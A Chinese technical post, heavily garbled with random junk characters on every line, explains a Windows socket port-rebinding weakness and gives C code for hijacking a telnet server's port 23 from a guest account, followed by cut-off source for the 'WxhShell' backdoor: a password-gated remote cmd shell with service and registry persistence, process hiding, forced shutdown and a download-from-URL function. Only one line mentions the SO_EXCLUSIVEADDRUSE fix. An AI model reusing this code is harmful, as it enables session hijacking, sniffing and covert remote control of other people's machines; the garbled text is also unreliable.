在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
cfP9b8JG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?~p]Ey}~9 c&GVIrJ saddr.sin_family = AF_INET;
[ <,i}z +M=`3jioL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<lo\7p$A .*Mp+Q}^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~stJO]) a <Cbi5DtR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
IGQcQ/M Y*Ra!]62 这意味着什么?意味着可以进行如下的攻击:
ls*bCe 45aUz@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\QvoL \~!!h.xR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CVt:tV n LD1j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z*FCd6X aJ/}ID 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
=}D9sT R ~ZcTY[8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
("r\3Mvs .V
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3HEm-pok )p^" J| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tg%#W` @/,:".
SM #include
ouE/\4'NB #include
tSVWO]< #include
[Xyu_I-c #include
U5RLM_a@M DWORD WINAPI ClientThread(LPVOID lpParam);
>_J9D?3S int main()
SIridZ*% {
$Vp*,oRL WORD wVersionRequested;
.US=fWyrb DWORD ret;
~~\C.6c# WSADATA wsaData;
H-&T) BOOL val;
v6C$Y+5~ SOCKADDR_IN saddr;
n muzTFs= SOCKADDR_IN scaddr;
mfqnRPZ int err;
;0vCZaEF SOCKET s;
L~+/LV SOCKET sc;
\}Al85 int caddsize;
~jR4%VF HANDLE mt;
qipV'T,S DWORD tid;
2rV]n wVersionRequested = MAKEWORD( 2, 2 );
OAauD$Hh err = WSAStartup( wVersionRequested, &wsaData );
!sG#3sUe[ if ( err != 0 ) {
(hJ&`Tt printf("error!WSAStartup failed!\n");
4OaU1Y[ return -1;
tiGBjTPt }
jP{&U&!i saddr.sin_family = AF_INET;
yiw4<]{IX ;l %$-/% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D){my_
/ 48IrC_0j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
64i*_\UKe saddr.sin_port = htons(23);
g7"2}|qxo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(QTF+~) {
x:K~?c3 printf("error!socket failed!\n");
:N^+!,i return -1;
zub"Ap3 }
b}
0G~oLP val = TRUE;
rez)$ //SO_REUSEADDR选项就是可以实现端口重绑定的
V1&qgAy~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L</k+a?H! {
RY
.@_{ printf("error!setsockopt failed!\n");
.He}f,!f< return -1;
^6On^k[|fw }
l0 8vF$k|d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
02_+{vk! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
mCyn:+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D3B] 45?%D} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?g9:xgkF
^ {
j'k
< ret=GetLastError();
jsFfrS"* printf("error!bind failed!\n");
jF}-dfe return -1;
L^jjf8_ }
"Ccyj / listen(s,2);
16ZyLt while(1)
`Gj(>z* {
dEZUK vo caddsize = sizeof(scaddr);
q{ [!" , //接受连接请求
]|-sZ<?<i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'451H3LC0 if(sc!=INVALID_SOCKET)
b'W.l1]<- {
Q5^ #:uZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^TtL-|I if(mt==NULL)
3vs{*T" {
0|Xz-Y printf("Thread Creat Failed!\n");
N=PSr 4 break;
=C2KHNc }
vc :% }
/&c2O X|Z CloseHandle(mt);
g#MLA5%=u }
Gp{,v closesocket(s);
p$t|eu
WSACleanup();
q;}iW:r&Q return 0;
\_ V*Cs }
_u+ 7> DWORD WINAPI ClientThread(LPVOID lpParam)
Mj{w/' {
Pa6pq;4St SOCKET ss = (SOCKET)lpParam;
[#9i@40 SOCKET sc;
* bd3^mP unsigned char buf[4096];
$J^fp XO SOCKADDR_IN saddr;
t/}NX[q long num;
m"T}em# DWORD val;
!E_Zh*lgm DWORD ret;
u0GHcpOm //如果是隐藏端口应用的话,可以在此处加一些判断
`BQv;NtP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z\$M)e8n saddr.sin_family = AF_INET;
u&w})`+u5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"M, 1ElQ saddr.sin_port = htons(23);
$~S~pvT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~nTj't2R {
kU+|QBA@ printf("error!socket failed!\n");
L
R\LC6kM return -1;
drMMf[ }
H %c6I val = 100;
lxm/*^
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R8cOb*D {
D<m0G]Ht* ret = GetLastError();
X@"G1j >/ return -1;
mU]VFPr5 }
*i}X(sfe if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.L+XV y {
wk ^7/B ret = GetLastError();
{fnx=BaG return -1;
W|D
kq }
m`l9d4p
w? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
FJDE48Vi {
<sw@P":F printf("error!socket connect failed!\n");
"(3u)o9 closesocket(sc);
0'Si
^>bW closesocket(ss);
Z,/K$;YWo return -1;
<n4` #d }
e{7\pQK while(1)
Bb:C^CHIQm {
Kp6 @? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s/=% kCo //如果是嗅探内容的话,可以再此处进行内容分析和记录
4 sax //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'w27Lt'V num = recv(ss,buf,4096,0);
ni&|;"Nt- if(num>0)
0|RofL&o send(sc,buf,num,0);
?+))J~@t else if(num==0)
+rJ6DZ break;
."H;bfcL_ num = recv(sc,buf,4096,0);
~L"$(^/ if(num>0)
$'%GB $. send(ss,buf,num,0);
QXZyiJX} else if(num==0)
`XhH{*Q"X break;
qx'0(q2Ii( }
"bIb?e2h9G closesocket(ss);
X+C*+k,z closesocket(sc);
~%8P0AP return 0 ;
SfnQW}RGI }
QJ3#~GYNr oX;.v9a N^dQX,j ==========================================================
HJ]xZ83pC |L8
[+_m 下边附上一个代码,,WXhSHELL
V2ih/mh Xva(R<W7d< ==========================================================
bAPMD G;3%k.{ #include "stdafx.h"
?id)
2V0s VD$5 Djq #include <stdio.h>
RkE)2q[5 #include <string.h>
Ln4]uqMG. #include <windows.h>
_Xt/U>N #include <winsock2.h>
16zRe I( #include <winsvc.h>
N#K)Z5J)b #include <urlmon.h>
cry1gnWG &h0LWPl #pragma comment (lib, "Ws2_32.lib")
-;7xUNQ #pragma comment (lib, "urlmon.lib")
"_q~S$i^ F#gA2VCm #define MAX_USER 100 // 最大客户端连接数
l!f_ +lv #define BUF_SOCK 200 // sock buffer
/@F'f@; #define KEY_BUFF 255 // 输入 buffer
x%l(0K <NMJkl-r8r #define REBOOT 0 // 重启
v-tI`Qpb #define SHUTDOWN 1 // 关机
H-PVV&r n@8Y6+7i #define DEF_PORT 5000 // 监听端口
pL"{Uqi x
;|HT #define REG_LEN 16 // 注册表键长度
:QGkYJ #define SVC_LEN 80 // NT服务名长度
oFj_o c,xdkiy3 // 从dll定义API
{^z73Gxt, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
az F!V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#4JMb#q0E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~t)cbF(UO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]>1Mq,! +6#$6 hG // wxhshell配置信息
XgC^-A w struct WSCFG {
f6%k;R.Wz int ws_port; // 监听端口
9j:]<?D,A char ws_passstr[REG_LEN]; // 口令
|%C2 cx int ws_autoins; // 安装标记, 1=yes 0=no
XM`GK>*aC( char ws_regname[REG_LEN]; // 注册表键名
[kg?q5F) char ws_svcname[REG_LEN]; // 服务名
!0W(f.A{K char ws_svcdisp[SVC_LEN]; // 服务显示名
`NNP<z+\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
1'qXT{f/~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~.:{
Ik] int ws_downexe; // 下载执行标记, 1=yes 0=no
:C*}Yg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<D/K[mz- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>qo!#vJc
a ?6CLUu|7n };
w7Yu} JY^ '#7k9\ // default Wxhshell configuration
QPVi& *8_ struct WSCFG wscfg={DEF_PORT,
N4vcd=uG# "xuhuanlingzhe",
9;+&}:IVS 1,
h$&Tg_/'#D "Wxhshell",
VcrMlcnO "Wxhshell",
@Chl>s "WxhShell Service",
`;j1H<L "Wrsky Windows CmdShell Service",
uO]D=Z\S( "Please Input Your Password: ",
+MX~1RU+ 1,
zR<{z "
http://www.wrsky.com/wxhshell.exe",
)#m{"rk[x, "Wxhshell.exe"
,<U=
7<NU };
8\rca:cF
#yochxF_ // 消息定义模块
,D;8~llM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\}$|Uo$O char *msg_ws_prompt="\n\r? for help\n\r#>";
dPEDsG0$a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5p#0K@`n/ char *msg_ws_ext="\n\rExit.";
ESCN/ocV char *msg_ws_end="\n\rQuit.";
q`1tUd 4G char *msg_ws_boot="\n\rReboot...";
#kv9$ char *msg_ws_poff="\n\rShutdown...";
,Vi_~b char *msg_ws_down="\n\rSave to ";
6TW<,SM ni/s/^ char *msg_ws_err="\n\rErr!";
R4'.QZ-x char *msg_ws_ok="\n\rOK!";
kH eD(Ea j2D!=PK; char ExeFile[MAX_PATH];
f6Y?),` int nUser = 0;
|HycBTN#E HANDLE handles[MAX_USER];
l$gJ^Wf2gY int OsIsNt;
A;;#]]48 @} r*KF- SERVICE_STATUS serviceStatus;
nX (bVT4i SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z?+ )ox ,7B7X)m{3 // 函数声明
tx5bmF;b) int Install(void);
xw8k<` int Uninstall(void);
BQ6$T& int DownloadFile(char *sURL, SOCKET wsh);
p6- //0qb int Boot(int flag);
gX{j$]^6G8 void HideProc(void);
}ppApJT int GetOsVer(void);
!
v![K int Wxhshell(SOCKET wsl);
9K&$8aD void TalkWithClient(void *cs);
^UvL1+ int CmdShell(SOCKET sock);
0XA\Ag\`G int StartFromService(void);
8WytvwB} int StartWxhshell(LPSTR lpCmdLine);
2U[/"JL >)WE3PT/O" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~T@E")uR VOID WINAPI NTServiceHandler( DWORD fdwControl );
Yb5U^OjyJ e8`d<U // 数据结构和表定义
4BMu0["6|s SERVICE_TABLE_ENTRY DispatchTable[] =
f/sz/KC]~ {
2!6hB sEr {wscfg.ws_svcname, NTServiceMain},
(f&V 7n {NULL, NULL}
+PYV-@q };
:rr<#F zu}uW,XH- // 自我安装
Vx!ZF+ int Install(void)
< dE7+w {
ck;:84 char svExeFile[MAX_PATH];
1O Ft}>1 HKEY key;
~aotV1"D strcpy(svExeFile,ExeFile);
#X)DFAtb 9BakxmAc // 如果是win9x系统,修改注册表设为自启动
&3iI\s[ if(!OsIsNt) {
W>' DQB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XIMh< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
570ja7C: RegCloseKey(key);
>7WT4l)7!b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
iX?j "=! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.Yk}iHcW. RegCloseKey(key);
!*c%Dj return 0;
!S<p"
}
SVa^:\"$[ }
46f-po_ }
?.,F3@W " else {
Ge)G.> c ]4O!q}@Cd // 如果是NT以上系统,安装为系统服务
3SY1>}(Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y0 vo-Q if (schSCManager!=0)
|~76dxU {
I_B%F#X) SC_HANDLE schService = CreateService
%;wDB2k* (
z/j*zU
` schSCManager,
w%wVB/( wscfg.ws_svcname,
[ (Y@ wscfg.ws_svcdisp,
%Ok#~>c SERVICE_ALL_ACCESS,
@w33u^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9uxoMjR- SERVICE_AUTO_START,
<1vogUDW SERVICE_ERROR_NORMAL,
AIP0PJI3 svExeFile,
M7qg\1L NULL,
R Q8"vF# NULL,
k6 OO\= NULL,
&LV'"2ng8 NULL,
Z&@P< NULL
{U9{*e$= );
*=md!^x` if (schService!=0)
xz`0V}dPl {
[?6+ r CloseServiceHandle(schService);
G9S3r3 CloseServiceHandle(schSCManager);
*[>{9V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0]ai*\,W7~ strcat(svExeFile,wscfg.ws_svcname);
sfVzVS[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`_&vvJPn@! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1&h\\&ic RegCloseKey(key);
nVpDjUpN return 0;
wI7.M
Gt }
)[99SM
}
Z2;~{$&M+ CloseServiceHandle(schSCManager);
FS7D }
ZHRMW'Ne }
3Q&@l49q kJ* N`= return 1;
An]Vx<PD }
= m|<~t M3eSj`c3 // 自我卸载
fda2dY; int Uninstall(void)
Y;\@
5TgQ, {
a{e1g93} HKEY key;
{_>XsB p>U= Jg if(!OsIsNt) {
>xRUw5jN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G~zfPBN0D RegDeleteValue(key,wscfg.ws_regname);
_+}o/449 RegCloseKey(key);
2(Xu?W 7d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#.FhN x RegDeleteValue(key,wscfg.ws_regname);
(Rs;+S RegCloseKey(key);
lE+Duap: return 0;
U8aNL
sw }
iqF|IVPoi }
&w=ul'R98 }
.'
v$PEy else {
Gp_flGdGQ 0#5&* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZXj*Vu$_4 if (schSCManager!=0)
h5vetci/ {
6R2F,b(_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
MO1H?Uhx if (schService!=0)
,-n_(U {
=q[+e(,3 if(DeleteService(schService)!=0) {
uC]c`Ue CloseServiceHandle(schService);
aYtW!+# CloseServiceHandle(schSCManager);
K=4|GZ~p}` return 0;
>YdLB@ }
[pt U} CloseServiceHandle(schService);
[$]-W$j+ }
D7IhNWrgj CloseServiceHandle(schSCManager);
B_@p@6z }
-g"Wi@Qr }
>N0L cI6Td*vM return 1;
?:5/4YC }
tHvP0RxM )*}?EI4. // 从指定url下载文件
@]]\r.DG int DownloadFile(char *sURL, SOCKET wsh)
A)#Fyde {
eOb)uIF HRESULT hr;
T7Y+ WfYh char seps[]= "/";
$|@-u0sv char *token;
;iN[du char *file;
1yS:` char myURL[MAX_PATH];
'^Q$:P{G? char myFILE[MAX_PATH];
;+3@S`2r /*6[Itm_h strcpy(myURL,sURL);
L8pKVr token=strtok(myURL,seps);
|*~SR.[` while(token!=NULL)
(76tYt~I= {
nGDY::nUE file=token;
&`g^b^i token=strtok(NULL,seps);
M"Y,kA|+ }
=Q# (2 %4wHiCOg GetCurrentDirectory(MAX_PATH,myFILE);
Nah\4-75& strcat(myFILE, "\\");
8yswi[ strcat(myFILE, file);
hBDmC_\~ send(wsh,myFILE,strlen(myFILE),0);
!%D;H ~mQ send(wsh,"...",3,0);
$m-@ICG# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6,l5Q if(hr==S_OK)
gd0a,_`M return 0;
\Jwc[R&x else
Co/04F. return 1;
7 $dibTER [.;I} }
#8WHIDS> 2p *!up( // 系统电源模块
ACEVd! q int Boot(int flag)
(F*y27_u {
tt&{f <* HANDLE hToken;
<`BDN TOKEN_PRIVILEGES tkp;
;6=*E ' |/u,6` if(OsIsNt) {
DnCIfda2g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;|,*zD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!W b Q9o tkp.PrivilegeCount = 1;
6anH#=( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"JgwL_2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_Q*,~ z~ if(flag==REBOOT) {
OL.{lKJ3DV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cVaGgP}\ return 0;
0c&DSL}6 }
Gl4f:` else {
~kI$8oAry if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K;R!>p}t return 0;
`{ \)Wuw }
0|mCk }
4=njM`8Y' else {
[ mo9? if(flag==REBOOT) {
Tog'3k9Uw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ka$la;e3 return 0;
1/=6s5vS} }
m>DJ w7< else {
SS&G<3Ke if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@f#6Nu return 0;
k4JTc2b }
fTGVG }
]_m(q`_ 4SIS#m return 1;
^aqBL }
+@+*sVb );xTl6Y9 // win9x进程隐藏模块
gZL,xX void HideProc(void)
DLoH.Fd {
VP }To A ?[Wfq| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
MwD8a<2Dg if ( hKernel != NULL )
LKM;T- {
K*tomy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xE6hE'rh.O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p%+'iDb FreeLibrary(hKernel);
_"#n%@ }
5~RR
_G xQxq33\ return;
mfk^t`w_ }
.6pVt_f0/ V+$fh2t // 获取操作系统版本
._6Q "JAB int GetOsVer(void)
nCLEAe$W\= {
XrGP]k6.^ OSVERSIONINFO winfo;
2zkOs: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\|
'Yuh GetVersionEx(&winfo);
D0X!j,Kc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+o K*5 Y return 1;
dTQW /kAHQ else
To,*H OP return 0;
whQJWi=ck }
z7HM/<WY ugs9>`fF& // 客户端句柄模块
L1QDA}6?_Y int Wxhshell(SOCKET wsl)
Eo0/cln| {
~6#O5plKc SOCKET wsh;
1-sG`% struct sockaddr_in client;
T:*l+<? DWORD myID;
!{b4+!@p }(9ZME<( while(nUser<MAX_USER)
m(^nG_eX {
Pk`3sfz int nSize=sizeof(client);
7DWGYvv[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8Q73h/3 if(wsh==INVALID_SOCKET) return 1;
#1p\\Av 3qy4nPg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tcJN`N if(handles[nUser]==0)
D/Py?<n-B closesocket(wsh);
ZQ_AqzT3D else
mpd?F'V nUser++;
/1b7f' }
/sdZf|Zl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sE[
Yg8yAt h*\u0yD) return 0;
[-VIojs+u }
@jKB[S;JSn &W*^&0AV // 关闭 socket
nNh5f]] void CloseIt(SOCKET wsh)
@el {
pz]!T' closesocket(wsh);
EvF[h:C2 nUser--;
6>z,7 [ ExitThread(0);
/Edq[5Ah }
0@Z}.k30 Yzw[.(jc} // 客户端请求句柄
JgBC:t^\pV void TalkWithClient(void *cs)
rbrh;\<jM {
?$VkMu$2k M<P8u`)>4H SOCKET wsh=(SOCKET)cs;
:a9 char pwd[SVC_LEN];
tNz(s) char cmd[KEY_BUFF];
Sv!JA#Ag char chr[1];
==EB\>g| int i,j;
4u#TKr. H^M>(kT#& while (nUser < MAX_USER) {
@]Lu"h#u= LX#gc.c if(wscfg.ws_passstr) {
8k;il54# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DTHWL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wYQEm //ZeroMemory(pwd,KEY_BUFF);
|^"0bu" i=0;
)T^xDx while(i<SVC_LEN) {
i:1
@ vo zpZfsn! // 设置超时
\} _,g fd_set FdRead;
-B?cF9 struct timeval TimeOut;
aP#/% FD_ZERO(&FdRead);
Q"H/RMo- FD_SET(wsh,&FdRead);
I:("f+
H TimeOut.tv_sec=8;
z, n[}Q#u TimeOut.tv_usec=0;
hw=~%f; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&d\ y:7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*q+X?3 d{Owz&PL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A#Y:VavQ? pwd
=chr[0]; OsKtxtLO
if(chr[0]==0xd || chr[0]==0xa) { [pInF
Qh6
pwd=0; *D.Ajd.G
break; `@#rAW D
} b7B|$T,
i++; nlA:C>=
} (p<pF].
Y(R.<LtY
// 如果是非法用户,关闭 socket $=) Pky-~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {(I":rt#
} (%mV,2|:20
o=Y'ns^a(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]J@-,FFC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D"%>
I5 qrHBJ >
while(1) { QNH3\<IS
z"Mk(d@-E
ZeroMemory(cmd,KEY_BUFF); m"QDc[^Ge
Xt
+9z
// 自动支持客户端 telnet标准 ILqBa:J
j=0; ?wFL\C
while(j<KEY_BUFF) { aemi;61T\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); opMnLor
cmd[j]=chr[0]; /aIGq/;Y+a
if(chr[0]==0xa || chr[0]==0xd) {
]sJC%/
cmd[j]=0; bkS"]q)>
break; \`E^>6!]q
} ?'_6M4UKa
j++; gtePo[ZH.P
} B9Hib1<8
hCS}
// 下载文件 3#Bb4\_v
if(strstr(cmd,"http://")) { 9zY6hh**
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vrcIwCa
if(DownloadFile(cmd,wsh)) *"OUwEl a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w 5?D]u
else b` va\'&3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~]q>}/&YLo
} e['<.Yf+
else { }1W@
[c;#>UQMf
switch(cmd[0]) { 8QoxU"
c&
x0WinLQ
// 帮助 gY8$Rk
%
case '?': { .ws86stFSb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /(.:l +[w[
break; Rc
&m4|cw7
} C511hbF
// 安装 hidQO h
case 'i': { 2`TV(U@
if(Install()) c+
e~BN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV7#,+p%G
else cqSXX++CS,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _{-[1-lN5_
break; dDIR~!T
} ]!&$&t8.
// 卸载 Y~e)3e
case 'r': { <f M}Kk
if(Uninstall()) Fm,` ]CO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `j(._`8%a
else 8QZI(Xe9r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }YVF
fi~
break; S0QLM)
} E2d'P
// 显示 wxhshell 所在路径 8'%m!
case 'p': { G!;PV^6x
char svExeFile[MAX_PATH]; S_/S2(V"
strcpy(svExeFile,"\n\r"); Cs7ol-\)
strcat(svExeFile,ExeFile); X-(4/T+v
send(wsh,svExeFile,strlen(svExeFile),0); JWI Y0iP
break; _OyQ:>M6P
} 0Q`v#$?":
// 重启 XbB(<\0+
case 'b': { G}9f/$'3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c!/+0[
if(Boot(REBOOT)) ,w3-*z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz{9ND|)
else { M/dgW`c
closesocket(wsh); @uldD"MJ<]
ExitThread(0); [
'lu;1-,
} hlB\Xt
break; (+[%^96
} xcU!bDV
// 关机 (D) KU9B>
case 'd': { oJ\g0|\qwe
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %l!?d`?
if(Boot(SHUTDOWN)) {
]_j)R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L*tfYonq
else { w2'q9pB+
closesocket(wsh); bXOKC
ExitThread(0); dpw-a4o}
} ; Byt'S
break; FV/t
} &UOxS W
// 获取shell DZtpY{=Z
case 's': { >Vjn]V5y
CmdShell(wsh); W>C?a=r~
closesocket(wsh); YnRO>`
ExitThread(0); "`V@?+3
break; BB\GrD
} ]JYE#F
// 退出 Z17b=xJw
case 'x': { BZ1wE1 t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y~85Z0l
CloseIt(wsh); gS5MoW1
break; _ERtL5^
} G<n75!
// 离开 M|mfkIk0MB
case 'q': { ]}XDDPbZ}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Gv@lZ@=
closesocket(wsh); ld@+p
WSACleanup(); eIY`RMo
(
exit(1); |HD>m'e
break; i7XY3yhC
} {pIh/0
} $t.oGd@N
} LhbdvJAk@
jez0 A
// 提示信息 H.ksI;,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uBx\xeI
} $jg[6`L$
} $|- Lw!)D
m0TV i] v
return; JM,%|
E
} Y~g{9 <!
B[GC@]HE
// shell模块句柄 p%>sc
int CmdShell(SOCKET sock) 8%#8PLB2
{ z7bJV/f
STARTUPINFO si; `}l%61n0
ZeroMemory(&si,sizeof(si)); tr[}F7n9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '7sf)0\:<p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PJC(:R(j
PROCESS_INFORMATION ProcessInfo; <-`.u`
char cmdline[]="cmd"; ,%*UF6B
M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BX0lk
return 0; Op ar+|p\
} k77 3h`;
KD &nLm!
// 自身启动模式 cQ j`W
*
int StartFromService(void) 1"ZtE\{
"
{ +9b{Y^^~T
typedef struct KHML!f=mu
{ I.jqC2G
DWORD ExitStatus; S@HC$
DWORD PebBaseAddress; uI7n{4W*x
DWORD AffinityMask; w~b:9_reY
DWORD BasePriority; $:F+Nf
8
